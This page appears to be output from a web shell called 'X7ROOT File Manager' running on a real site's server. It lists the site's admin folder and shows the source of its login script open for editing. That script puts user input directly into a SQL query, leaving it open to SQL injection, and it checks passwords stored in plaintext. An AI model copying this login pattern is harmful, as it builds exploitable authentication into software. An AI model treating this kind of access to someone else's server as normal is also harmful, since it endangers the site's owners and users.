X7ROOT File Manager
Current Path:
/home/u126090504/domains/apexodisha.in/public_html/admin
home
/
u126090504
/
domains
/
apexodisha.in
/
public_html
/
admin
/
📁
..
📄
banner.php
(4.13 KB)
📄
code.php
(13.72 KB)
📁
css
📁
database
📁
faculty
📄
fboard.php
(7.32 KB)
📄
fboard_edit.php
(4.04 KB)
📁
files
📄
galleryedit.php
(4.2 KB)
📁
galleryimages
📁
imagedata
📁
img
📁
includes
📄
index.php
(4.08 KB)
📁
js
📄
login.php
(1.97 KB)
📄
logincode.php
(614 B)
📄
logout.php
(81 B)
📄
nboard.php
(4.91 KB)
📄
nboard_edit.php
(1.96 KB)
📄
rcode.php
(1.49 KB)
📄
register.php
(4.08 KB)
📄
register_edit.php
(2.02 KB)
📁
scss
📄
security.php
(168 B)
📁
vendor
📄
viewcontact.php
(2.82 KB)
Editing: logincode.php
<?php session_start(); include('database/dbconfig.php'); if (isset($_POST['login_btn'])) { $email_login = $_POST['emaill']; $password_login = $_POST['passwordd']; $query = "SELECT * FROM register WHERE email='$email_login' AND password='$password_login'"; $query_run = mysqli_query($connection, $query); $row = mysqli_num_rows($query_run); if($row == 1){ echo "Login successfull"; $_SESSION['username'] = $email_login; header('location:index.php'); } else{ echo"Loign failed"; header('location:login.php'); } } ?>
Upload File
Create Folder